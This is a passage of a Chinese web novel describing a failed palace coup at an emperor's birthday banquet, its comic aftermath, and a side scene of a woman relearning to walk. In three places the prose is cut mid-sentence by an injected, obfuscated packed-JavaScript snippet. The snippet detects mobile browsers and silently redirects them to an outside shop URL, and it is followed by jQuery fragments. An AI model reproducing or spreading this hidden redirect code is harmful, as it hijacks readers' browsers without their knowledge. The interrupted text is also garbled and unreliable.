若是盛崇戚在此,必定会察觉出不对劲,强行制止晋王继续往下说。 可偏偏,盛崇戚根本不在今日生辰宴的宴请名单之上,远在宫外。 宴中一隅,李想端着酒杯,自始至终安静端坐,冷眼旁观着这场闹剧。 临行前义父再三叮嘱,今日之事,无论闹得何等天翻地覆,只管静观其变,不发一言、不举一步,方能明哲保身,不引火上身。 他谨遵吩咐,一言不发。 晋王早已被心中的皇权野心冲昏头脑,根本顾不上旁人的异样,按着原定计划,声嘶力竭地继续喝道:“皇弟你先是弑君夺位,得位不正,后又宠信奸佞,任由燕修延之流胡作非为,致使天下百姓生灵涂炭,民不聊生!今日,本王就要为天下苍生清君侧、诛奸佞,还大虞一个朗朗乾坤,还天下一片清明!” 他的声音铿锵有力,字字如重锤,回荡在空旷威严的大殿之中,气势汹汹,仿佛每一个字都带着沉甸甸的“正义”力量。 “啪、啪、啪。” 龙椅上的虞睿祥却忽然抬手,不急不缓地鼓起掌来,掌声轻慢,带着十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646257|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足的戏谑。 “皇兄这戏文,说得倒是简洁明了、通俗易懂。” 虞睿祥唇角笑意更深,语气轻挑,“想来是记不住盛大人为你写的那篇冗长繁杂、咬文嚼字的檄文,所以才挑了这般粗浅的话来背,是也不是?” “噗——” 礼部尚书一时没忍住,连忙用手捂住嘴,低头偷笑。 陛下这话,明着是说戏文,暗地里分明是在嘲讽晋王没学问,连篇檄文都背不下来。 晋王心思粗陋,根本没听出虞睿祥话中的讥讽之意,只满心惊异——皇帝怎么会知道,自己的外祖盛崇戚早已为他写好了讨伐檄文? 可事已至此,箭在弦上,不得不发,他早已没有回头路。 晋王横下心,厉声喝道:“若皇弟你不肯亲自下令捉拿燕修延,那今日,本王便替你代劳!” …… 宫外,隐秘的街角处。 “阿欠!阿欠!阿欠——” 燕修延接连打了三个响亮的喷嚏,打得脑袋都微微发懵。 他揉了揉发痒的鼻尖,懒洋洋地挑眉,语气带着几分戏谑:“看来大殿之上,这群人话题一直围着我转,骂得挺凶啊。” 白天铎满脸亢奋,眼睛发亮,伸手指着街道尽头——一群手持棍棒刀枪的百姓装扮之人,正气势汹汹、直奔宫门而去,黑压压一片,人数众多。 “头儿!全是功劳啊!” 白天铎激动得声音都在发颤,满眼都是跃跃欲试,“这要是在战场上,这么多人头,那可是泼天的富贵!” “啧。” 燕修延抬手,不轻不重地敲了一下他的脑袋,无奈笑道,“矜持点,别这么急功近利,沉不住气。这些人,我留着还有大用。” 白天铎被敲了一下,稍稍冷静了些许,可没过片刻,又按捺不住兴奋,凑上前小声问:“头儿,等干完这一票,陛下肯定会赏咱们一大笔吧?荣华富贵跑不了!” 燕修延抬眸,瞥见远处一道身影骑马飞驰而过,正是盛崇戚,他唇角勾起一抹胸有成竹的笑意:“陛下给的赏赐,比你能想到的,还要大得多。” 盛崇戚不在皇帝生辰宴的宴请名单之上,今日要行谋逆大事,他自然不可能安分待在家中。 燕修延低下头,伸手轻轻拍了拍安静趴在自己脚边、圆滚滚肥嘟嘟的大白,狮子舒服地蹭了蹭他的手心,眯起了眼。 随即,他抬眸,对着暗处比了一个隐秘的手势,一行人悄无声息地跟上了盛崇戚的队伍。 盛崇戚率着心腹死士,一路畅通无阻,顺利进了京城城门,又毫无阻拦的进了宫门。 他勒住马缰,回头望向身后敞开的宫门,心头猛地泛起一丝怪异的违和感。 太顺利了。 顺利得离谱,顺利得让人毛骨悚然,仿佛从一开始,就一脚踏进了一个早已布好的陷阱之中。 不等他细想,一声尖锐刺耳的响箭骤然划破长空,直冲云霄。 盛崇戚心头一紧,再无迟疑,扬起马鞭狠狠抽在马背上。 …… 殿内,气氛早已变了模样。 诡异,死寂,又带着一丝微妙的戏谑。 晋王还在慷慨陈词,自以为一呼百应,那些暗中依附他的官员,也纷纷按照事先约定,站起身站到了他的身后,摆出支持的姿态。 可唯独他最依仗的岳丈——中书令,依旧稳稳坐在席位上,垂着头一动不动,如老僧入定,半点没有要出面相助的意思。 少数知晓内情计划的官员,端坐席中,不动如山,气定神闲,端着酒杯悠然小酌,仿佛在看一场笑话。 其余不明内情的百官,也皆是官场沉浮多年的人精,最擅长察言观色。 他们敏锐地察觉到虞睿祥从头到尾的平静与淡定,绝非懦弱可欺,反倒像是掌控全局的旁观者,当即心领神会,一个个噤若寒蝉,安安静静端坐原位,不敢有半分异动。 礼部尚书压低声音,凑到吏部尚书耳边,小声嘀咕:“我怎么觉得……晋王这模样,像是在唱独角戏?” 100. 连自刎都不行哦 “陛下!宫中杀出一支陌生兵马,正向大殿涌来!” 凄厉的哭喊撕裂静谧,一个宫人摔碎了脚下的青玉盏,连滚带爬扑进殿中,青布官袍上沾着泥污,膝盖磕在金砖上,撞出沉闷的响。 他额头磕得渗血,手指死死指向殿外方向,声音抖得像风中残叶。 晋王瞥了眼端坐在龙椅上的虞睿祥,嘴角勾起一抹胜券在握的笑,声音沉戾,带着刻意的威严:“四弟,事到如今,你还执迷不悟?袒护燕修延这等祸国奸臣,便是与天下为敌。本王今日,勉为其难取而代之,还大虞一个清明!” 中书令霍然起身,缓步走到晋王身侧。 他指尖摩挲着腰间玉带,目光扫过殿内众人,眼底藏着势在必得的阴翳。 私兵入宫的消息传得急,可城中禁军迟迟没有异动—— 毕竟,禁军里半数要职,皆是他们安插的人手,只需等私兵控制大殿,便能以“清君侧”之名,调兵封锁皇城。 远水解不了近渴。 年大将军还在驻地,城内的年节防务又被他们借故调开。 眼下这一局,晋王已是稳操胜券。 礼部尚书的手微微收紧,眉头皱成了川字。 他偷偷抬眼,看向身侧的吏部尚书,对方却慢悠悠地递来一个眼神,眼底写着“看戏就好,莫要多言”。 礼部尚书心里咯噔一下,忽然觉得这殿内的空气,比往常黏腻了三分。 变故来得猝不及防。 一道挺拔的身影踏着夜色,缓步从殿外走来。 玄色朝服衬得他面容清俊,眉眼间却无半分惶恐,反倒带着几分漫不经心的慵懒。 正是盛崇戚。 晋王见了他,立刻快步迎上去,语气带着几分急切的倚重:“外祖,你可来了!” 可当盛崇戚的目光掠过殿内,落在那尊稳坐龙椅的身影上时,眼皮骤然一跳。 私兵的脚步声越来越近,甲叶碰撞的脆响穿透殿门,直钻众人耳中。 虞睿祥这才缓缓抬眼,声音淡得像杯凉白开:“皇兄这是要,逼宫篡位?” 晋王猛地拔出腰间佩剑,剑锋映着烛火,划出一道冷冽的光。 他昂首挺胸,剑刃直指龙椅,声音陡然拔高,盖过了门外的喧嚣:“非也!本王此举,乃是肃清正源,清剿奸佞,还天下百姓一个太平盛世!” “说得好。” 虞睿祥忽然拊掌轻笑,声音里带着几分戏谑,“皇兄如今的词藻,倒是比往日精进了不少。若是父皇泉下有知,定是会高兴的。” 晋王脸色一沉,哼笑一声,眉眼间满是怨毒:“皇弟大可亲自去地下问父皇,看看他老人家,更中意谁坐这龙椅!” “父皇可不愿见朕。” 虞睿祥微微勾唇,语气轻佻又笃定,“比起朕,父皇此刻,想必更想见皇兄你。” 说罢,他不再看晋王的脸,视线轻飘飘转向大殿中央那尊双耳三足铜香炉。 青烟袅袅,无声升腾,无味无形,低调得几乎让人忽略。 而这样的香炉,从宫门甬道、偏殿回廊,一直到大殿内外,沿途密密麻麻摆放了无数个,无人在意,无人察觉。 虞睿祥身上的明黄常服纤尘不染,连腰间的玉佩都晃得从容,仿佛眼前的逼宫之乱,不过是场不值一提的闹剧。 盛崇戚的眼皮又是一跳,心底莫名升起一股寒意。 虞睿祥单手支着下颌,姿态慵懒,语气不紧不慢:“皇兄既然如此思念父皇,朕身为天子,自然可以成全你。” 晋王脸色彻底沉了下来,怒意翻涌。 到了此刻,他的皇弟居然还不知何为形势比人强! 没关系,他会亲手教他。 晋王高举长剑,声嘶力竭下令:“众将士听令——” 他的命令还未喊完,殿内突然响起一阵诡异至极的骚动。 “嗯哼……怎么今日这般热?我浑身都提不起劲来~” “呀!这剑好重哦!拿都拿不动~” “咦~好多人呀!挤死了挤死了!” “兄弟,你身上涂了什么?好香,让我抱一下嘛~” 一声声粗粝彪猛的汉子嗓,偏偏捏着尖细柔媚的调子,听得人头皮发麻。 他们个个虎背熊腰,满脸横肉,本该是杀气腾腾的私兵,此刻却个个扭捏作态:有的掐着兰花指,捧着脸颊连连跺脚,脸上的横肉挤成一团,看得人鸡皮疙瘩掉了一地;有的满脸娇羞,小手帕捂着脸,眼角还“挤出”几滴假泪;更有甚者,对着身边的同伴上下其手,惹得对方连连躲闪。 一个满脸络腮胡的壮汉,伸着油乎乎的大手,就往晋王怀里扑,嗲声嗲气地喊:“好哥哥,带我一起杀了那昏君!” “砰!” 一脚踹在壮汉肚子上,壮汉踉跄着摔出去,惹得殿内众人一阵哗然。 踹人的正是易容成宫人、混在队伍里的季乐允,他脸上敷着厚厚的白粉,眉眼画得妖异,此刻却冷着脸,眼神里的嫌弃几乎要溢出来。 龙椅上,虞睿祥撑着下巴的手微微一顿,嘴角不受控制地抽了一下,眼底的笑意却藏不住。 “噗——咳咳咳!” 礼部尚书正偷偷捏着一块桂花糕,准备垫垫肚子,听到这阵仗,被呛得连连咳嗽,脸涨得通红,桂花糕渣子从嘴角掉下来,沾在了官袍上。 他心里只有一个念头:这都是些什么乱七八糟的脏东西!晋王这是找了一群什么人来逼宫? 晋王僵在原地,举剑的手臂停在半空,脸上的表情从得意瞬间变成了错愕,又转为狰狞。 他脖子僵硬地转过去,看着眼前这群搔首弄姿、丑态百出的壮汉,又猛地转回头,看向龙椅上的虞睿祥。 虞睿祥端起桌上的玉杯,对着他遥遥举杯,语气带着几分戏谑:“皇兄这出戏,唱得倒是精彩。朕很是喜欢,不知皇兄,想要什么赏赐?” “你——” 晋王气血上涌,面容扭曲成一团,举剑便要砍向离自己最近的那个壮汉,“一群废物!还不快给本王杀了皇帝!” “王爷!” 盛崇戚急忙抬剑挡住他的手腕,眉头紧锁,“冷静!” 他转头看向身后,少数还保持着清醒、满脸震惊的私兵。 这些人本是悍勇之徒,此刻却被眼前的阵仗吓得魂飞魄散。 盛崇戚咬了咬牙,声音狠戾:“今日之事,成则加官进爵,封妻荫子;败则满门抄斩,人头落地!将士们,举起你们的武器,冲!” 柳岚此前下药时,已经有私兵陆续离开,没有喝下加料的水。 因此,为了确保今夜这出戏不会出问题,燕修延早有后手,昨日又在这些私兵的饮用水里加了料。 为数不多清醒的私兵,站到晋王身边,握紧了武器,掌心全是冷汗。 殿外,白天铎扒着宫墙,探进头来,看着殿内那群搔首弄姿的壮汉,眉头皱成了疙瘩,语气带着几分恶心:“娘喂,这阵仗,看得人胃里直泛酸,怎么过去?” “跟上。” 燕修延的声音从身后传来,带着几分漫不经心的笑意。 他拍拍身下的大白。 大白昂首发出一声“吼”,声震殿宇,震得那些壮汉纷纷捂着脸,尖叫着四散躲避。 “有狮子!好可怕!” “哎呀!这狮子会不会咬人!” “妈耶!快躲开!” 燕修延:……此情此景,就算坐在狮子背上,也不显得威风。 壮汉们的尖叫声此起彼伏,原本混乱的人群,竟被狮子吓得自动分开了一条道路。 燕修延坐在狮背上,一身月白锦袍,袖口绣着暗金流云纹,脸上挂着玩世不恭的笑。 他骑着狮子,一步步走向大殿,目光穿过混乱的人群,精准地落在了殿中谢伟恒的身上。 四目相对,燕修延嘴角的笑意更深了,眼底闪过一丝只有谢伟恒能看懂的狡黠。 中书令站在晋王身侧,原本还镇定的眼神,此刻骤然变得惊恐。 他看清了——燕修延身后,跟着一队身着禁军服饰的兵士,甲胄鲜明,剑刃泛着冷光,正悄无声息地围拢过来。 为何无人报信? 中书令心里掀起惊涛骇浪。 难怪虞睿祥始终从容不迫,难怪禁军毫无异动。 原来,一切早就在他们的算计之中!他们已然落入了圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646258|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套! 盛崇戚也看清了这一幕,眼底闪过一丝决绝的狠厉。 事已至此,没有退路了! 他猛地拔出佩剑,飞身跃起,剑刃直指龙椅上的虞睿祥,嘶吼道:“受死吧!” “叮——!” “锵——!” 两声脆响几乎同时炸开。 燕修延这次看得一清二楚:谢伟恒只是轻轻抬起手,指尖在酒杯里蘸了一下,指尖一弹,一滴晶莹的酒液飞射而出,不偏不倚撞在盛崇戚的剑刃上。 那柄精钢长剑竟直接断成了两截! 虞睿祥顺势一脚踹翻面前的紫檀木桌,桌子带着劲风飞出去,结结实实撞在盛崇戚的身上。 盛崇戚闷哼一声,倒飞出去,重重摔在地上,来势瞬间被止住。 禁军扮成的宫人早已围了上来,拔出藏在袖中的剑,剑尖稳稳架在盛崇戚的脖子上,令他动弹不得。 晋王身上的气焰瞬间垮了,他握紧剑柄,指节泛白,看着围拢过来的禁军,声音里满是绝望:“随本王杀出去——” 可他身边的私兵,却个个面露惧色,握着武器的手微微颤抖。 有人犹豫着不敢上前,有人甚至悄悄往后退了半步。 “吼——” 大白突然昂首咆哮,声震四壁,驮着燕修延纵身一跃,直接跃过混乱的人群,落在大殿中央。 燕修延指尖轻弹,一道凌厉的劲风扫出,正好弹中一个私兵手中的长枪枪尖。 只听“咔嚓”一声,蜡制的枪尖瞬间断裂。 他笑眯眯地看着晋王,语气带着几分调侃:“王爷,你这武器,怕是偷工减料了吧?这般枪尖,怕是连切菜都费劲。” 谢伟恒缓步走过来,手中依旧握着那只玉杯,目光落在燕修延身上,语气带着几分玩味:“此前燕大人说,闭关修炼了江湖失传已久的神功。今日见你弹指断枪,想来,是早已练成了?” 燕修延摆摆手,嘴角的笑意更深:“哪有什么神功。不过是闭关没多久,就被陛下薅出来干活,勉强练到半层罢了。” 虞睿祥坐在龙椅上,嘴角的笑意微微一僵,眼底闪过一丝无奈。 什么神功?不过是计中计。 他们早已控制了尤钰珣,让监察司的人易容成他的模样,混在私兵队伍里,以此麻痹晋王。 而燕修延则带着人,通过军器库与妆岚别苑之间的密道,将别苑里的私兵兵器尽数调换。 长枪换成了蜡制枪头。 长剑磨得未开锋。 弓弦换成了一扯就断的棉线…… 晋王死死盯着眼前的一切,双目赤红,胸膛剧烈起伏。 他明明已经走到了这一步,离龙椅只有一步之遥,却偏偏栽在了这些看似不起眼的细节里! “我们没有退路了!杀!” 一个私兵壮着胆子,举着未开锋的长剑,想要绕过燕修延,冲向龙椅。 燕修延略一点头,语气带着几分戏谑:“有点脑子,就是不多。” 想绕过他去杀皇帝? 未免太天真了。 他正等着虞睿祥的圣旨,好名正言顺去抄晋王的家。 只见燕修延身形一闪,如鬼魅般出现在那私兵面前,单手扣住他的剑刃。 剑刃被他捏得变形,那私兵疼得龇牙咧嘴,却根本挣脱不开。 “你这剑,都没开锋,怕是连自刎都做不到哦。” 燕修延的声音带着笑意,却让那私兵浑身发冷。 “你松手!兄弟们,冲啊!被抓住的话,只有死路一条!”私兵嘶吼着,试图唤起同伴的勇气。 躲在后面的中书令,又惊又疑,脸色惨白。 他怎么也想不通,燕修延怎么会提前知道兵器藏匿的地点? 还将所有兵器都换成了假货?! 这怎么可能!那么多兵器,岂是短时间内能调换的? 密道!一定是密道! 中书令眼底闪过一丝怨毒,心中已然认定,是尤钰珣背叛了他们,泄露了密道的秘密! —————————————— 尤钰珣OS:我出场费都给不起,还我背叛你们,呸!无耻! 102. 不让我走,还不让我说话? 礼部尚书当真掰着手指头认真盘算起来,眉头微微蹙起,一脸郑重:“若是燕大人真肯包个大红包,那本官可得抓紧时间娶妻生子才是,绝不能错过这等好事!” 燕修延闻言轻轻眨了眨眼,视线慢悠悠掠过礼部尚书身侧并肩而坐的吏部尚书,眼底掠过一丝意味深长的笑意。 “我记得,宁大人今年二十四了吧?这般年纪,可曾遇上过让你心动的姑娘?” 燕修延慢悠悠开口,语气里藏着几分戏谑。 礼部尚书老老实实点头,语气带着几分坦然:“昂,四舍五入也快到而立之年了,心仪的姑娘嘛……还真没有。” 他家中父母开明,从不主张盲婚哑嫁。 若是换做旁的世家,他这般年纪早已儿女绕膝,哪里还用得着在这里发愁。 燕修延唇角的笑意更深,几分了然,几分调侃。 二十四岁的世家子弟,未曾对女子动心,反倒日日与吏部尚书黏在一起。 究竟心向何人,怕是连他自己都未曾真正想明白。 “嫁娶这等事,宁大人可千万别说得太过绝对。”燕修延轻飘飘丢出一句。 礼部尚书顿时挠了挠头,只觉得燕修延话里有话,却又琢磨不透其中深意,索性直白问道:“燕大人这话是何意思?莫非是说本官注定要孤独终老?不会吧不会吧,本官相貌堂堂,虽说没攒下什么私房钱,可每月俸禄养活一家老小绰绰有余,怎会娶不上媳妇!” 殿内不少大臣早已听出燕修延的弦外之音,此刻见礼部尚书这般懵懂直白,再也忍不住,纷纷低低笑了起来,气氛愈发热闹融洽。 礼部尚书一脸莫名,左右看看发笑的众人,更是摸不着头脑,只当他们是在取笑自己囊中羞涩。 整座殿内,欢声笑语此起彼伏,人人脸上都挂着轻松的笑意。 唯独晋王像一尊被遗忘在角落的石像,与这欢快的氛围格格不入。 他死死咬着牙,牙关紧咬发出“咯咯”的脆响,眼底翻涌着屈辱与怒火,几乎要喷薄而出。 按着他肩膀的两名禁军士兵见状,对视一眼,其中一人抬手便一巴掌呼在晋王的后脑勺上,力道不轻不重,却带着十足的轻蔑。 晋王瞬间怒火中烧,猛地扭头瞪向那名士兵,双目赤红,几乎要喷出火来。 他刚要张口怒斥,另一边的士兵动作更快,随手抓起案上一只早已冷却的油腻鸡腿,不由分说便狠狠塞进了晋王的口中,堵得他严严实实,半个字也吐不出来。 士兵递给他一个冷冰冰的眼神,意思再明显不过:不服就憋着,少在这里哔哔,别耽误我们看戏。 这般奇耻大辱,晋王如何能忍? 他拼命扭动脖颈,想要将口中的鸡腿吐出来。 可那士兵眼疾手快,指尖一抬,“咔嗒”一声,干脆利落地卸掉了他的下巴,紧接着又飞快抬手,“咔嗒”一下将下巴安回原位。 做完这一切,士兵便若无其事地退到一旁,垂手而立,仿佛只是做了一件微不足道的小事。 可那眼神里的警告,却像一根毒刺,扎进晋王心底——再不闭嘴,下次卸掉下巴,可就不会给你安回去了。 晋王顺着士兵的视线缓缓抬头,恰好对上龙椅上虞睿祥那双似笑非笑的眼眸。 这两个士兵,根本就是虞睿祥故意安排在他身边的! 目的就是为了百般折辱他,让他颜面扫地,生不如死! 怒火、屈辱、不甘、绝望,种种情绪交织在一起,冲上头顶。 晋王的胸膛剧烈起伏,呼吸急促得如同破风箱,胸口阵阵发闷,几乎要窒息。 燕修延回头瞥了一眼,只见大白早已吃完了面前的肉食,正伸出粉嫩的舌头,慢悠悠舔着空盘子,一副意犹未尽的模样。 他又看了一眼被气得满脸通红、双目圆睁的晋王,抬手轻轻拍了拍大白的脑袋,语气宠溺又带着几分恶作剧:“大白,瞧见没?那个人不喜欢吃鸡腿,你去把他的鸡腿叼过来吃,记住,只准叼吃的,不准咬人。” 大白似通人性,温顺地站起身,甩了甩蓬松的狮尾,绕过席间端坐的大臣,迈着沉稳的步子,径直朝晋王的方向走去。 它一下子就把大家的视线吸引了过去。 庞大的狮身从身侧缓缓走过,温热的气息扑面而来,大臣们顿时噤若寒蝉,一个个屏住呼吸。 有的大臣甚至紧张得连大气也不敢出一口,生怕惹恼了这位兽中霸主,被它“吭哧”啃上一口。 完整的来,缺口着回去。 温热的狮鼻轻轻凑到面前,粗重的呼吸扑在脸上,晋王心底瞬间被无尽的恐惧吞没,浑身汗毛倒竖,后背瞬间被冷汗浸透。 他想要起身后退,可肩膀被两名士兵死死按住,如同被铁钳锁住,半分也动弹不得,只能眼睁睁看着硕大的狮头凑到自己面前。 大白抬起一只毛茸茸的前爪,锋利的爪尖轻轻一勾,便轻而易举将晋王口中的鸡腿勾了下来。 一个小小的鸡腿,对体型庞大的狮子而言,不过是塞牙缝的点心,根本不够解馋。 它回头看了燕修延一眼。 燕修延点点头。 大白得到默许的点头后,便再也不客气,低下头,风卷残云般将晋王面前案几上的肉菜一扫而空,连半点汤汁都没剩下。 吃饱喝足,大白心满意足地甩了甩尾巴,慢悠悠绕过席间大臣,重新走回燕修延身边,温顺地趴伏在地,脑袋轻轻蹭着他的裤腿,一副邀功的乖巧模样。 燕修延随手揉了揉它的狮鬃,眼底满是纵容。 晋王眼睁睁看着狮子在自己面前大快朵颐,吓得浑身发软,再也维持不住端坐的姿态,直接瘫软在座椅上,面色惨白如纸,眼神空洞,只剩下无尽的恐惧与屈辱。 龙椅之上,虞睿祥看着这一幕,开怀大笑起来,笑声爽朗洪亮,可落在晋王耳中,却字字句句都充满了轻蔑与嘲讽,像一把把尖刀,狠狠扎进他的心脏。 气愤、屈辱、不甘、恐惧,种种情绪疯狂涌入心头,堵得他几乎窒息。 可他被士兵牢牢按住,下巴不敢再随意动弹,连嘶吼怒骂都做不到,只能像个囚徒一般,任人摆布,受尽折辱。 生辰宴至此落下帷幕,大臣们纷纷起身告退,鱼贯而出。 殿内的宫人也被虞睿祥尽数屏退。 燕修延拉着谢伟恒的手,正准备抬脚离开,满心都是要去查抄晋王府的家产,一想到白花花的银子,眼睛都在放光。 可虞睿祥的声音却适时响起,叫住了二人:“燕卿,谢卿,你二人暂且留下。” “哦……” 燕修延拖长了语调,一脸不情不愿。 他对皇家兄弟之间这些虚伪的“体己话”半分兴趣也无。 他只对晋王的“体己钱”感兴趣。 虞睿祥仿佛看穿了他的心思,也不戳破,只吩咐宫人送来瓜子、糕点、鲜果与热茶,摆放在二人面前。 宫人躬身退下后,偌大的殿内,便只剩下虞睿祥、瘫软在席的晋王、燕修延、谢伟恒,还有乖乖趴卧在地的大白。 燕修延抓起一把瓜子,身子软乎乎地靠在谢伟恒身上,整个人懒懒散散,毫无规矩可言,指尖一磕。 “咔咔”的嗑瓜子声在寂静的大殿里格外清晰。 谢伟恒则贴心地端着空盘,凑在他身侧,方便他随时吐瓜子皮,动作温柔自然,习以为常。 晋王终于缓过劲来,猛地抬起头,面容狰狞扭曲,额上青筋暴起,嘶吼着质问道:“四弟!你竟然敢如此折辱本王!你我乃是亲兄弟,你怎能这般待我!” 虞睿祥闻言,慢悠悠扭过头,瞥了一眼靠在一起嗑瓜子的燕修延与谢伟恒,随即收回目光,缓缓站起身,一步步走到晋王面前。 他双手背在身后,居高临下地俯视着瘫软在地的晋王,嘴角勾起一抹似笑非笑的弧度,语气淡漠却带着刺骨的寒意:“皇兄何出此言?倘若今夜得手的人是你,你又会如何对待朕?” 晋王咬牙切齿,字字泣血,眼底满是怨毒:“我势必活剐了你!还有燕!修!延!奸佞小人,我必诛之,绝不留活口!” 燕修延偏过头,一脸无所谓地开口:“典型的死要面子活受罪,放狠话有什么用?乖乖求饶,说不定还能留条性命。” 谢伟恒轻轻端起茶杯,递到燕修延嘴边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646260|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气温柔:“喝口茶润润嗓子,别呛到。” 虞睿祥转过身,看着没正形的二人,无奈笑道:“让你留下来看热闹,便安静些,别插嘴。” 燕修延当即耍起无赖,往谢伟恒怀里又靠了靠:“陛下不让臣和谢大人走,还不让臣说话,干巴巴看着多无聊?” 虞睿祥被他气笑,无奈摇头:“有吃有喝有茶,还堵不上你的嘴?” 晋王在一旁听着三人旁若无人的对话,只觉得自己被视若无睹,怒火攻心,太阳穴突突直跳,气得浑身发抖。 他的手无意间碰到了脚边的剑柄——从始至终,士兵都没有收走他的佩剑,仿佛是故意留下,引他铤而走险。 求生的欲望与复仇的怒火瞬间冲昏了头脑,晋王一把抓住剑柄,用尽全身力气猛地站起身,挥剑便朝着虞睿祥的后背狠狠刺去! “咻!” 一粒瓜子骤然破空而出,快如闪电,狠狠嵌进晋王持剑的手臂之中。 “哐当!” 与此同时,一只茶杯凌空飞射而来,精准砸在剑身上,精钢长剑应声断成两截,残剑哐当落地。 虞睿祥缓缓转过身,面色冷冽,抬手便是狠狠一巴掌,扇在晋王凑过来的脸上。 “啪!” 清脆的巴掌声响彻大殿。 “啊啊啊!” 晋王发出凄厉的惨叫,面色瞬间惨白如纸,豆大的汗珠从额头滚滚滑落,疼得面容扭曲,浑身剧烈颤抖。 他死死捂住手臂,伤口处剧痛钻心,仿佛骨头都被击碎一般。 “扑通”一声,晋王再也支撑不住,重重跪倒在地,额头紧紧贴着冰冷的金砖地面,身体蜷缩成一团,疼得说不出一句完整的话。 “皇兄真是……” 虞睿祥无奈地摇了摇头,语气淡漠,没有半分怜惜,“朕同你好好说话,这般急躁做什么?” 晋王疼得浑身抽搐,根本听不进虞睿祥半句言语,只剩下无尽的痛苦与绝望。 燕修延看着他这般狼狈模样,有些疑惑地挑了挑眉:“他这反应,未免也太大了,我都怀疑是不是直接砍了他的胳膊。” 谢伟恒轻声为他解释,语气平淡:“晋王自幼养尊处优,锦衣玉食,从未吃过半分苦头,连些许皮肉之苦都承受不住。” 燕修延恍然大悟,重新抓起一把瓜子,慢悠悠嗑着:“那他这般娇生惯养的性子,若是日后打仗被俘,怕是挨上两棍子,直接就投敌叛国了。” “他是王爷,自幼不善武艺,朝廷从不会让他上战场。”谢伟恒耐心应道。 燕修延撇撇嘴,语气笃定:“严谨点说,他今天过后,别说上战场了,能不能再看见外面的天,都不好说。” 此刻,远离皇宫是非之地的公主府内,却是另一番温情景象。 虞湘晔与李羽飞轻轻松开搀扶着王璟妍的手,退到一旁,满眼期待地看着她。 王璟妍扶着一旁的桌沿,慢慢站直身体,脸上带着激动的泪光,声音颤抖:“我可以站起来了……我真的可以自己走路了!” 她小心翼翼地抬起脚,一步一步慢慢向前挪动,可双腿依旧麻木无力,没走几步,脚下一软,便重重摔倒在地。 “母亲!” “伯母!” 李羽飞与虞湘晔惊呼一声,连忙快步上前,一左一右稳稳扶住她,小心翼翼地将她搀起。 王璟妍情绪瞬间崩溃,伸出手,狠狠捶打着自己稍微有点知觉的双腿,泪水汹涌而出,声音哽咽绝望:“它怎么跟死了一样!怎么就是使不上劲!我什么时候才能好起来!” “母亲!母亲您别这样!” 李羽飞连忙抓住她的手,死死按住,眼眶通红,泪水也跟着滑落,“您再多给自己一些时间,慢慢来,您一定会比今天走得更好!越是急功近利,便越是寸步难行,我们母女还有一辈子的时间,我会一直陪着您的!” 虞湘晔也轻声安抚,语气温柔坚定:“伯母,羽飞说得对,不急于一时。等您的腿彻底好利索了,我便带着您和羽飞离开京城,去江南水乡游玩,看遍山水风光,彻底远离京城这些尔虞我诈的是非之地,安安稳稳过日子。” 103. 他仇恨转移到我了? 大殿之内,烛火明明灭灭,将殿中对峙的身影拉得颀长而森冷。 虞睿祥缓步踱至旁侧案几前,骨节分明的手指轻握住酒壶,壶身微凉,映出他眼底深不见底的寒意。 他慢条斯理倾壶,琥珀色的酒液顺着壶口淌入白玉杯中,溅起细碎酒花,随后他微微躬身,将酒杯稳稳置于晋王面前。 “皇兄可知,自己究竟输在了哪里?” 虞睿祥的声音清冷却带着不容置疑的威压,一字一顿,撞在空旷大殿的梁柱上,回声沉沉。 晋王瘫跪在地,喉间挤出浑浊不堪的“嗬嗬”异响,像是被扼住咽喉的困兽。 他双目赤红如血,青筋在额角暴起,积压已久的怨愤与不甘轰然爆发,猛地扬手一巴掌狠狠挥出,白玉酒杯“哐当”一声被击飞,酒液泼洒在冰冷的地砖上,晕开一片狼藉。 “你不过是运气好!不过是侥幸!”晋王嘶吼,声嘶力竭,满是不甘。 “朕运气好?” 虞睿祥低低嗤笑一声,那笑声里没有半分温度,反倒透着刺骨的嘲讽。 他抬眼,目光扫过眼前狼狈不堪的兄长,语气平淡却字字诛心,“所有皇子之中,唯有朕最不得父皇青眼,唯有朕的母家外戚唯利是图、蝇营狗苟,半分助力也不曾给予,更唯有朕,连入皇学修学,都是最晚的那一个。” 昔日皇子们争夺皇位,朝野上下,无人将这个不起眼的四皇子视作敌手。 人人都以为他是泥沼里的蝼蚁,可待到他一朝锋芒毕露时,其余皇子,早已再无半分胜算。 晋王挣扎着撑着地面,踉踉跄跄站起身,死死瞪着虞睿祥,拼尽最后一丝底气平视着他,厉声驳斥:“你最大的运气,不过是有年大将军倾力扶持,有燕修延那个孤臣孤子,为你奋不顾身、赴汤蹈火!” 